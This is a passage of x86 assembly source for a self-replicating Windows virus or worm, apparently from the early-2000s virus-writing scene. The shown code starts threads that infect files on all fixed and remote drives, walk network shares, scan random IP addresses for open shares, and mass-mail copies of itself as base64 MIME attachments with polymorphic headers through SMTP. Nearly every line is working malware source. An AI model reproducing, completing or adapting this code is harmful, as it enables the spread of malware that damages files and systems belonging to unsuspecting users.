xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
|
|
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;get SFC support if available
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call load_sfc
|
|
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
|
|
|
|
load_sfc label near
|
|
call cLoadLibraryA
|
|
test eax, eax
|
|
jne found_sfc
|
|
push 'cfs' ;Windows Me/2000
|
|
push esp
|
|
call cLoadLibraryA
|
|
pop ecx
|
|
test eax, eax
|
|
je sfcapi_esp
|
|
|
|
found_sfc label near
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
sfccrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (sfccrc_count + 1) dup (0)
|
|
sfccrcend label near
|
|
dd offset sfcapi_pop - offset sfccrcend + 4
|
|
|
|
sfcapi_pop label near
|
|
pop eax
|
|
|
|
sfcapi_esp label near
|
|
mov dword ptr ds:[offset store_sfcapi - offset junkhtml_inf + expsize + 401001h], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;get rest of APIs required for network thread
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push 'rpm'
|
|
push esp
|
|
call cLoadLibraryA
|
|
pop ecx
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
netcrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (netcrc_count + 1) dup (0)
|
|
netcrcend label near
|
|
dd offset netapi_esp - offset netcrcend + 4
|
|
|
|
netapi_esp label near
|
|
mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
|
|
mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;initialise service table if NT/2000/XP
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call cGetVersion
|
|
shr eax, 1fh
|
|
jne svc_main ;no service if 9x/Me
|
|
push eax
|
|
push eax
|
|
mov eax, offset regdll - offset junkhtml_inf + expsize + 401000h
|
|
push eax
|
|
call cLoadLibraryA
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
svccrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (svccrc_count + 1) dup (0)
|
|
svccrcend label near
|
|
dd offset start_disp - offset svccrcend + 4
|
|
|
|
start_disp label near
|
|
pop eax
|
|
mov ecx, esp
|
|
add edi, offset svc_main - offset start_disp
|
|
push edi
|
|
push ecx
|
|
push esp
|
|
call eax ;does not return if service launch
|
|
add esp, size SERVICE_TABLE_ENTRY ;fix stack if app launch
|
|
|
|
svc_main label near
|
|
push eax
|
|
push esp
|
|
xor esi, esi
|
|
push esi
|
|
push esi
|
|
call create_thr1
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;thread 1: infect files on all fixed and remote drive letters
|
|
;-----------------------------------------------------------------------------
|
|
|
|
find_drives proc near
|
|
mov eax, '\:A' ;NEC-PC98 uses A: for boot drive which can be hard disk
|
|
|
|
drive_loop label near
|
|
push eax
|
|
push esp
|
|
push (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
sub al, DRIVE_FIXED
|
|
je drive_set
|
|
xchg ecx, eax
|
|
loop drive_next ;loop if not DRIVE_REMOTE
|
|
|
|
drive_set label near
|
|
push esp
|
|
call cSetCurrentDirectoryA
|
|
call find_files
|
|
|
|
drive_next label near
|
|
pop eax
|
|
inc eax
|
|
cmp al, 'Z' + 1
|
|
jne drive_loop
|
|
push 60 * 60 * 1000 ;1 hour
|
|
call cSleep
|
|
jmp find_drives
|
|
find_drives endp
|
|
|
|
create_thr1 label near
|
|
push esi
|
|
push esi
|
|
call cCreateThread
|
|
push esp
|
|
push esi
|
|
push esi
|
|
call create_thr2
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;thread 2: find files on network shares using non-recursive algorithm
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call get_krnapis
|
|
|
|
find_wnet proc near
|
|
xor ebx, ebx ;previous handle
|
|
xor esi, esi ;previous node
|
|
xor edi, edi ;previous buffer
|
|
|
|
wnet_open label near
|
|
push eax
|
|
push esp
|
|
push edi
|
|
push 0
|
|
push RESOURCETYPE_DISK
|
|
push RESOURCE_GLOBALNET
|
|
call dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
|
|
push eax
|
|
push edi
|
|
call cGlobalFree
|
|
pop ecx
|
|
pop edi
|
|
inc ecx
|
|
loop wnet_next
|
|
push size wnetlist
|
|
push ecx ;GMEM_FIXED
|
|
call cGlobalAlloc
|
|
mov dword ptr [eax + wnetlist.wnetprev], esi
|
|
mov dword ptr [eax + wnetlist.wnethand], ebx
|
|
xchg esi, eax
|
|
mov ebx, edi
|
|
|
|
wnet_next label near
|
|
push 1
|
|
mov eax, esp
|
|
push eax
|
|
push esp
|
|
push eax
|
|
push ebx
|
|
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
|
|
pop edi
|
|
sub al, ERROR_MORE_DATA
|
|
jne wnet_close
|
|
push edi
|
|
push eax ;GMEM_FIXED
|
|
call cGlobalAlloc
|
|
xchg ecx, eax
|
|
jecxz wnet_close
|
|
push edi
|
|
mov eax, esp
|
|
push 1
|
|
mov edx, esp
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
push ebx
|
|
mov edi, ecx
|
|
call dword ptr [ebp + netcrcstk.nWNetEnumResourceW - size netcrcstk]
|
|
pop ecx
|
|
pop ecx
|
|
test eax, eax
|
|
jne wnet_free
|
|
test byte ptr [edi + NETRESOURCE.dwUsage], RESOURCEUSAGE_CONTAINER
|
|
jne wnet_open
|
|
push dword ptr [edi + NETRESOURCE.lpRemoteName]
|
|
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
|
|
xchg ecx, eax
|
|
jecxz wnet_skipdir
|
|
|
|
;I'm alone here
|
|
;with emptiness eagles and snow.
|
|
;Unfriendliness chilling my body
|
|
;and taunting with pictures of home.
|
|
;(Deep Purple)
|
|
|
|
call find_files
|
|
|
|
wnet_skipdir label near
|
|
xor eax, eax
|
|
|
|
wnet_free label near
|
|
push eax
|
|
push edi
|
|
call cGlobalFree
|
|
pop ecx
|
|
jecxz wnet_next
|
|
|
|
wnet_close label near
|
|
push ebx
|
|
|
|
store_netapi label near
|
|
mov eax, '!bgr'
|
|
call eax ;WNetCloseEnum
|
|
mov ecx, dword ptr [esi + wnetlist.wnetprev]
|
|
jecxz wnet_exit
|
|
mov ebx, dword ptr [esi + wnetlist.wnethand]
|
|
push esi
|
|
mov esi, ecx
|
|
call cGlobalFree
|
|
jmp wnet_next
|
|
|
|
wnet_exit label near
|
|
push 120 * 60 * 1000 ;2 hours
|
|
call cSleep
|
|
jmp find_wnet
|
|
find_wnet endp
|
|
|
|
create_thr2 label near
|
|
push esi
|
|
push esi
|
|
call cCreateThread
|
|
push esp
|
|
push esi
|
|
push esi
|
|
call create_thr3
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;thread 3: find files on random IP address shares using non-recursive algorithm
|
|
;(alter class A: 25%, class b: 25%, class c: 25%, class d: scan all)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call cGetVersion
|
|
test eax, eax
|
|
mov eax, 'aten'
|
|
mov ecx, '23ip' ;"netapi32" (NT/2000/XP)
|
|
jns ip_loaddll
|
|
mov eax, 'arvs'
|
|
movzx ecx, cx ;"svrapi" (9x/Me)
|
|
|
|
ip_loaddll label near
|
|
pushfd
|
|
push 0
|
|
push ecx
|
|
push eax
|
|
push esp
|
|
call cLoadLibraryA
|
|
add esp, 0ch
|
|
popfd
|
|
jns ip_getprocnt
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
ip9xcrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (ip9xcrc_count + 1) dup (0)
|
|
ip9xcrcend label near
|
|
dd offset ip_share - offset ip9xcrcend + 4
|
|
|
|
ip_getprocnt label near
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
ipntcrcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (ipntcrc_count + 1) dup (0)
|
|
ipntcrcend label near
|
|
dd offset ip_share - offset ipntcrcend + 4
|
|
|
|
ip_share label near
|
|
call random
|
|
xchg ebp, eax ;initial IP address
|
|
|
|
find_ip proc near
|
|
call random
|
|
and al, 18h
|
|
je find_ip ;select class A-C only
|
|
xchg ecx, eax
|
|
xor eax, eax
|
|
mov al, 0ffh
|
|
shl eax, cl ;select random class
|
|
and ecx, eax ;isolate new class
|
|
not eax
|
|
and ebx, eax ;remove old class
|
|
or ebx, ecx ;insert new class
|
|
|
|
ip_save label near
|
|
push ebx
|
|
bswap ebx
|
|
enter 34h, 0 ;size of Unicode '\\' + Unicode IP address + '\' + ANSI sharename
|
|
lea edi, dword ptr [ebp - 0eh] ;size of '\' + ANSI sharename
|
|
call cGetVersion
|
|
shr eax, 1fh ;0 if Unicode, 1 if ANSI
|
|
xchg esi, eax
|
|
xor al, al
|
|
mov cl, 0ah
|
|
std
|
|
stos byte ptr [edi]
|
|
mov edx, edi
|
|
stos byte ptr [edi] ;store Unicode sentinel
|
|
stos byte ptr [edi] ;store Unicode half-character
|
|
add edi, esi ;remove character if ANSI
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;convert IP address to string (ANSI or Unicode)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
ip_shift label near
|
|
xor eax, eax
|
|
shld eax, ebx, 8
|
|
|
|
ip_hex2dec label near
|
|
div cl
|
|
xchg ah, al
|
|
add al, '0'
|
|
stos byte ptr [edi]
|
|
xor al, al
|
|
stos byte ptr [edi] ;store Unicode half-character
|
|
add edi, esi ;remove character if ANSI
|
|
shr eax, 8
|
|
jne ip_hex2dec
|
|
mov al, '.'
|
|
stos byte ptr [edi]
|
|
xor al, al
|
|
stos byte ptr [edi] ;store Unicode half-character
|
|
add edi, esi ;remove character if ANSI
|
|
shl ebx, 8
|
|
jne ip_shift
|
|
cld
|
|
push edi
|
|
mov al, '\'
|
|
stos byte ptr [edi]
|
|
inc edi ;include Unicode half-character
|
|
sub edi, esi ;remove character if ANSI
|
|
stos byte ptr [edi] ;store '\\' in ANSI or Unicode
|
|
pop edi
|
|
test esi, esi
|
|
je ip_sharent
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;enumerate shares on IP address (9x/Me platform)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push ebx
|
|
mov eax, esp
|
|
push ebx
|
|
push esp
|
|
push eax
|
|
push ebx ;too small size returns needed size
|
|
push ebx
|
|
push 1
|
|
push edi
|
|
mov ebx, edi
|
|
mov edi, edx
|
|
call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h]
|
|
pop ecx
|
|
pop esi
|
|
sub al, ERROR_MORE_DATA
|
|
jne ip_restore
|
|
imul esi, ecx, size share_info_19x + 50
|
|
;include size of optional remark
|
|
push esi
|
|
push eax ;GMEM_FIXED
|
|
call cGlobalAlloc
|
|
cdq
|
|
xchg ecx, eax
|
|
jecxz ip_restore
|
|
push ecx ;GlobalFree
|
|
push edx
|
|
mov eax, esp
|
|
push edx
|
|
push esp
|
|
push eax
|
|
push esi
|
|
push ecx
|
|
push 1
|
|
push ebx
|
|
mov esi, ecx
|
|
call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h]
|
|
pop ecx
|
|
pop ecx
|
|
mov al, '\'
|
|
stos byte ptr [edi]
|
|
|
|
ip_next9x label near
|
|
push ecx
|
|
push edi
|
|
movs dword ptr [edi], dword ptr [esi]
|
|
movs dword ptr [edi], dword ptr [esi]
|
|
movs dword ptr [edi], dword ptr [esi]
|
|
movs byte ptr [edi], byte ptr [esi] ;attach sharename
|
|
pop edi
|
|
push ebx
|
|
call cSetCurrentDirectoryA
|
|
xchg ecx, eax
|
|
jecxz ip_skip9x
|
|
|
|
;I dream of rain, I live my years under an open sky
|
|
|
|
call find_files
|
|
|
|
ip_skip9x label near
|
|
add esi, size share_info_19x - share_info_19x.shi1_pad1
|
|
pop ecx
|
|
loop ip_next9x
|
|
|
|
ip_free9x label near
|
|
call cGlobalFree
|
|
|
|
ip_restore label near
|
|
leave
|
|
pop ebx
|
|
inc bl
|
|
jne ip_save
|
|
push 120 * 60 * 1000 ;2 hours
|
|
call cSleep
|
|
jmp find_ip
|
|
|
|
ip_sharent label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;enumerate shares on IP address (NT/2000/XP platform)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push eax
|
|
mov eax, esp
|
|
push eax
|
|
mov ecx, esp
|
|
push ebx
|
|
push esp
|
|
push eax
|
|
push MAX_PREFERRED_LENGTH
|
|
push ecx
|
|
push 1
|
|
push edi
|
|
call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch]
|
|
test eax, eax
|
|
pop esi
|
|
pop ebx
|
|
push esi ;NetApiBufferFree
|
|
jne ip_freent
|
|
|
|
ip_nextnt label near
|
|
push esi
|
|
lods dword ptr [esi]
|
|
push eax
|
|
xchg esi, eax
|
|
xor eax, eax ;lstrlenW
|
|
call store_krnapi
|
|
lea eax, dword ptr [eax + eax + 26h]
|
|
;include size of Unicode '\\' + Unicode IP address + Unicode '\'
|
|
push eax
|
|
push GMEM_FIXED
|
|
call cGlobalAlloc
|
|
xchg ecx, eax
|
|
jecxz ip_freent
|
|
push ecx ;GlobalFree
|
|
push ecx ;SetCurrentDirectoryW
|
|
push esi ;lstrcatW
|
|
push ecx ;lstrcatW
|
|
push '\'
|
|
push esp ;lstrcatW
|
|
push ecx ;lstrcatW
|
|
push edi
|
|
push ecx
|
|
push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi ;copy IP address
|
|
call clstrcatW ;attach '\'
|
|
pop eax
|
|
call clstrcatW ;attach sharename
|
|
push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
xchg esi, eax
|
|
call cGlobalFree
|
|
test esi, esi
|
|
je ip_skipnt
|
|
|
|
;when you look into the abyss, the abyss looks back at you
|
|
|
|
call find_files
|
|
|
|
ip_skipnt label near
|
|
pop esi
|
|
add esi, size share_info_1nt
|
|
dec ebx
|
|
jne ip_nextnt
|
|
|
|
ip_freent label near
|
|
call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
|
|
jmp ip_restore
|
|
find_ip endp
|
|
|
|
create_thr3 label near
|
|
push esi
|
|
push esi
|
|
call cCreateThread
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;thread 4: send email to last mailto: address found. slow mailer
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push "23"
|
|
push "_2sw"
|
|
push esp
|
|
call cLoadLibraryA
|
|
pop ecx
|
|
pop ecx
|
|
test eax, eax
|
|
jne found_ws2
|
|
push "23k"
|
|
push "cosw"
|
|
push esp
|
|
call cLoadLibraryA
|
|
pop ecx
|
|
pop ecx
|
|
|
|
found_ws2 label near
|
|
call init_findmz
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;API CRC table, null terminated
|
|
;-----------------------------------------------------------------------------
|
|
|
|
ws2crcbegin label near ;place < 80h bytes from call for smaller code
|
|
dd (ws2crc_count + 1) dup (0)
|
|
ws2crcend label near
|
|
dd offset wsock_init - offset ws2crcend + 4
|
|
|
|
wsock_init label near
|
|
mov ebx, esp
|
|
enter (size WSADATA + 3) and -4, 0
|
|
push esp
|
|
push 1
|
|
call dword ptr [ebx + ws2crcstk.wWSAStartup]
|
|
leave
|
|
pop eax
|
|
pop dword ptr ds:[offset store_send - offset junkhtml_inf + expsize + 401001h]
|
|
push PF_NS
|
|
push SOCK_STREAM
|
|
push AF_INET
|
|
call eax
|
|
mov dword ptr ds:[offset store_socket - offset junkhtml_inf + expsize + 401001h], eax
|
|
xchg ebp, eax
|
|
|
|
send_email label near
|
|
push 240 * 60 * 1000 ;4 hours
|
|
call cSleep
|
|
mov ebx, esp
|
|
push ebp
|
|
push 10000h ;message buffer
|
|
push GMEM_FIXED
|
|
call cGlobalAlloc
|
|
push eax ;GlobalFree
|
|
xchg edi, eax
|
|
mov esi, offset email_block - offset junkhtml_inf + expsize + 401000h
|
|
push ebx
|
|
push ebp
|
|
call decompmain ;smtp1 ("HELO ")
|
|
pop ebp
|
|
pop ebx
|
|
push esi
|
|
mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h
|
|
|
|
find_smtp label near
|
|
lods byte ptr [esi]
|
|
cmp al, '@'
|
|
je store_smtp
|
|
or al, 5
|
|
cmp al, "'"
|
|
jne find_smtp
|
|
pop eax
|
|
|
|
branch_skip label near
|
|
jmp skip_send
|
|
|
|
store_smtp label near
|
|
mov ecx, edi
|
|
mov eax, "ptms"
|
|
stos dword ptr [edi]
|
|
mov al, '.'
|
|
stos byte ptr [edi]
|
|
|
|
copy_smtp label near
|
|
lods byte ptr [esi]
|
|
stos byte ptr [edi]
|
|
or al, 5
|
|
sub al, "'"
|
|
jne copy_smtp
|
|
pop esi
|
|
dec edi
|
|
mov byte ptr [edi], al
|
|
push ecx
|
|
call dword ptr [ebx - 8 + ws2crcstk.wgethostbyname]
|
|
xchg ecx, eax
|
|
jecxz branch_skip
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;create and initialise sockaddr_in structure
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push 0
|
|
push 0
|
|
push dword ptr [ecx + hostent.h_addr_list]
|
|
push (1900h shl 10h) + AF_INET
|
|
mov eax, esp
|
|
push size sockaddr_in
|
|
push eax
|
|
push ebp
|
|
call dword ptr [ebx - 8 + ws2crcstk.wconnect]
|
|
add esp, size sockaddr_in
|
|
call store_crlf
|
|
call senddata
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;SMTP client engine by RT Fishel
|
|
;polymorphic headers (random comment insertion)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call decompmain ;smtp2 ("MAIL FROM:<>")
|
|
call senddata
|
|
call decompmain ;smtp3 ("RCPT TO:")
|
|
push esi
|
|
mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h
|
|
|
|
copy_recip label near
|
|
lods byte ptr [esi]
|
|
stos byte ptr [edi]
|
|
or al, 5
|
|
cmp al, "'"
|
|
jne copy_recip
|
|
pop esi
|
|
dec edi
|
|
call store_crlf
|
|
call senddata
|
|
call decompmain ;smtp4 ("DATA")
|
|
call senddata
|
|
call decompmain ;header1 ("From: ")
|
|
call randword
|
|
call decompmain ;header2 ("Subject: ...")
|
|
call decompmime ;header31 ("MIME-Version:")
|
|
call decomptype ;part11 ("Content-Type:")
|
|
call decompcomcr ;part12 ("multipart/mixed;")
|
|
call decompcomnt ;part13 (" boundary=")
|
|
push edi
|
|
call randword ;boundary
|
|
call store_crlf
|
|
mov eax, edi
|
|
pop ecx
|
|
push ecx ;boundary pointer
|
|
sub eax, ecx
|
|
sub eax, 4
|
|
push eax ;boundary length
|
|
call randlines
|
|
pop eax
|
|
pop ecx
|
|
push ecx
|
|
push eax
|
|
call bound_copy ;boundary
|
|
dec edi
|
|
dec edi
|
|
mov eax, (0a0dh shl 10h) + '--'
|
|
stos dword ptr [edi] ;end of message ;)
|
|
stos word ptr [edi]
|
|
pop eax
|
|
pop ecx
|
|
push ecx
|
|
push eax
|
|
call bound_copy ;--boundary
|
|
call decompmain ;body1 ("Just click...")
|
|
mov eax, ('--' shl 10h) + 0a0dh
|
|
stos dword ptr [edi]
|
|
pop eax
|
|
pop ecx
|
|
push ecx
|
|
push eax
|
|
call bound_copy
|
|
push esi
|
|
call decomptype ;content-type
|
|
pop esi
|
|
call decompcomcr ;part21 ("text/plain;")
|
|
call decompcomnt ;part22 (" name=email.htm")
|
|
call decompcmap ;part23 ("Content-Transfer-Encoding:")
|
|
call decompcomnt ;part24 ("quoted-printable")
|
|
call decompcmap ;part25 ("Content-Disposition:")
|
|
push offset part26 - offset part25 - 4
|
|
pop ebp
|
|
call decompcomcr ;part26 ("attachment")
|
|
push edi
|
|
push esi
|
|
call decompmime ;header31 ("MIME-Version:")
|
|
pop esi
|
|
call decompcmap ;part27 ("Content-Location:")
|
|
push esi
|
|
|
|
patch_encode label near
|
|
mov esi, 'RTF!'
|
|
call decompcmap ;content-encoding
|
|
pop esi
|
|
call decompcomcr ;part28 ("base64")
|
|
call store_crlf
|
|
push esi
|
|
push ebp ;CreateFileA
|
|
push ebp ;CreateFileA
|
|
push OPEN_EXISTING ;CreateFileA
|
|
push ebp ;CreateFileA
|
|
push FILE_SHARE_READ ;CreateFileA
|
|
push GENERIC_READ ;CreateFileA
|
|
push edi ;CreateFileA
|
|
push 7fh
|
|
push edi
|
|
push ebp
|
|
push (krncrcstk.kGetModuleFileNameA - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
push (krncrcstk.kCreateFileA - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
push ebp
|
|
push eax
|
|
xchg ebx, eax
|
|
push (krncrcstk.kGetFileSize - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
push eax
|
|
xchg ebp, eax
|
|
push GMEM_ZEROINIT
|
|
call cGlobalAlloc
|
|
push eax ;GlobalFree
|
|
push ebx ;CloseHandle
|
|
push eax
|
|
push esp
|
|
push ebp
|
|
push eax
|
|
push ebx
|
|
xchg esi, eax
|
|
push (krncrcstk.kReadFile - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
call cCloseHandle
|
|
call b64encode
|
|
call cGlobalFree
|
|
pop esi
|
|
call decompmain ;part31 ("<script>moveBy...")
|
|
pop eax
|
|
call decompoct
|
|
mov eax, ('--' shl 10h) + 0a0dh
|
|
stos dword ptr [edi]
|
|
pop eax
|
|
pop ecx
|
|
call bound_copy
|
|
call randlines
|
|
call decompmain ;part41
|
|
call senddata
|
|
call decompmain ;part42
|
|
call senddata
|
|
|
|
skip_send label near
|
|
call cGlobalFree
|
|
pop ebp
|
|
jmp send_email
|
|
|
|
email_block label near
|
|
include email.inc
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura
|
|
;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence
|
|
;asm port and size optimise by rgb in 2002
|
|
;-----------------------------------------------------------------------------
|
|
|
|
randinit proc near ;eax = seed, ecx = 0, edi -> RNG cache
|
|
pushad
|
|
push edi
|
|
or eax, 1
|
|
mov cx, statelen
|
|
|
|
init_loop label near
|
|
stos dword ptr [edi]
|
|
mov edx, 69069
|
|
mul edx ;Knuth: x_new = x_old * 69069
|
|
loop init_loop
|
|
inc ecx ;force reload
|
|
call initdelta
|
|
|
|
initdelta label near
|
|
pop edi
|
|
add edi, offset randvars - offset initdelta
|
|
xchg ecx, eax
|
|
stos dword ptr [edi]
|
|
pop eax
|
|
stos dword ptr [edi]
|
|
stos dword ptr [edi]
|
|
popad
|
|
ret
|
|
randinit endp
|
|
|
|
random proc near
|
|
pushad
|
|
call randelta
|
|
|
|
randvars label near
|
|
db 'rgb!' ;numbers left
|
|
db 'rgb!' ;next pointer
|
|
db 'rgb!' ;state pointer
|
|
|
|
randelta label near
|
|
pop esi
|
|
push esi
|
|
lods dword ptr [esi]
|
|
xchg ecx, eax
|
|
lods dword ptr [esi]
|
|
xchg esi, eax
|
|
loop random_ret
|
|
mov cx, statelen - period
|
|
mov esi, dword ptr [eax]
|
|
lea ebx, dword ptr [esi + (period * 4)]
|
|
mov edi, esi
|
|
push esi
|
|
lods dword ptr [esi]
|
|
xchg edx, eax
|
|
call twist
|
|
pop ebx
|
|
mov cx, period - 1
|
|
push ecx
|
|
push ebx
|
|
call twist
|
|
pop esi
|
|
push esi
|
|
inc ecx
|
|
call twist
|
|
xchg edx, eax
|
|
pop esi
|
|
pop ecx
|
|
inc ecx
|
|
|
|
random_ret label near
|
|
lods dword ptr [esi]
|
|
mov edx, eax
|
|
shr eax, tshiftU
|
|
xor eax, edx
|
|
mov edx, eax
|
|
shl eax, tshiftS
|
|
and eax, tmaskB
|
|
xor eax, edx
|
|
mov edx, eax
|
|
shl eax, tshiftT
|
|
and eax, tmaskC
|
|
xor eax, edx
|
|
mov edx, eax
|
|
shr eax, tshiftL
|
|
xor eax, edx
|
|
pop edi
|
|
mov dword ptr [esp + 1ch], eax ;eax in pushad
|
|
xchg ecx, eax
|
|
stos dword ptr [edi]
|
|
xchg esi, eax
|
|
stos dword ptr [edi]
|
|
popad
|
|
ret
|
|
random endp
|
|
|
|
twist proc near
|
|
lods dword ptr [esi]
|
|
push eax
|
|
add eax, eax ;remove highest bit
|
|
add edx, edx ;test highest bit
|
|
rcr eax, 2 ;merge bits and test lowest bit
|
|
jnb twist_skip ;remove branch but larger using:
|
|
xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx
|
|
|
|
twist_skip label near
|
|
xor eax, dword ptr [ebx]
|
|
add ebx, 4
|
|
stos dword ptr [edi]
|
|
pop edx
|
|
loop twist
|
|
ret
|
|
twist endp
|
|
|
|
senddata proc near
|
|
pop ecx
|
|
pop eax
|
|
push eax
|
|
push 0
|
|
sub edi, eax
|
|
push edi
|
|
push eax
|
|
|
|
store_socket label near
|
|
push "!bgr"
|
|
push ecx
|
|
xchg edi, eax
|
|
|
|
store_send label near
|
|
push "!bgr"
|
|
ret
|
|
senddata endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;non-recursive directory traverser
|
|
;-----------------------------------------------------------------------------
|
|
|
|
find_files proc near
|
|
pushad
|
|
push size findlist
|
|
push GMEM_ZEROINIT
|
|
call cGlobalAlloc
|
|
test eax, eax
|
|
je file_exit
|
|
xchg esi, eax
|
|
call get_krnapis
|
|
|
|
file_first label near
|
|
push '*' ;ANSI-compatible Unicode findmask
|
|
mov eax, esp
|
|
lea ebx, dword ptr [esi + findlist.finddata]
|
|
push ebx
|
|
push eax
|
|
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
|
|
pop ecx
|
|
mov dword ptr [esi + findlist.findhand], eax
|
|
inc eax
|
|
je file_prev
|
|
|
|
;you must always step forward from where you stand
|
|
|
|
test_dirfile label near
|
|
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
|
|
lea edi, dword ptr [esi + findlist.finddata.cFileName]
|
|
test al, FILE_ATTRIBUTE_DIRECTORY
|
|
je test_file
|
|
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
|
|
je file_next
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;enter subdirectory, and allocate another list node
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
|
|
xchg ecx, eax
|
|
jecxz file_next
|
|
push size findlist
|
|
push GMEM_FIXED
|
|
call cGlobalAlloc
|
|
xchg ecx, eax
|
|
jecxz step_updir
|
|
xchg esi, ecx
|
|
mov dword ptr [esi + findlist.findprev], ecx
|
|
jmp file_first
|
|
|
|
file_exit label near
|
|
popad
|
|
ret
|
|
|
|
file_next label near
|
|
lea ebx, dword ptr [esi + findlist.finddata]
|
|
push ebx
|
|
mov edi, dword ptr [esi + findlist.findhand]
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kFindNextFileW]
|
|
test eax, eax
|
|
jne test_dirfile
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;close find, and free list node
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push edi
|
|
mov al, (krncrcstk.kFindClose - krncrcstk.klstrlenW) shr 2
|
|
call store_krnapi
|
|
|
|
file_prev label near
|
|
push esi
|
|
mov esi, dword ptr [esi + findlist.findprev]
|
|
call cGlobalFree
|
|
test esi, esi
|
|
je file_exit
|
|
|
|
step_updir label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;the ANSI string ".." can be used, even on Unicode platforms
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push '..'
|
|
push esp
|
|
call cSetCurrentDirectoryA
|
|
pop eax
|
|
jmp file_next
|
|
|
|
test_file label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;get full path and convert to Unicode if required (SFC requires Unicode path)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
push eax ;save original file attributes for close
|
|
mov eax, ebp
|
|
enter MAX_PATH * 2, 0
|
|
mov ecx, esp
|
|
push eax
|
|
push esp
|
|
push ecx
|
|
push MAX_PATH
|
|
push edi
|
|
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
|
|
xchg edi, eax
|
|
pop eax
|
|
xor ebx, ebx
|
|
call cGetVersion
|
|
test eax, eax
|
|
jns store_sfcapi
|
|
mov ecx, esp
|
|
xchg ebp, eax
|
|
enter MAX_PATH * 2, 0
|
|
xchg ebp, eax
|
|
mov eax, esp
|
|
push MAX_PATH
|
|
push eax
|
|
inc edi
|
|
push edi
|
|
push ecx
|
|
push ebx ;use default translation
|
|
push ebx ;CP_ANSI
|
|
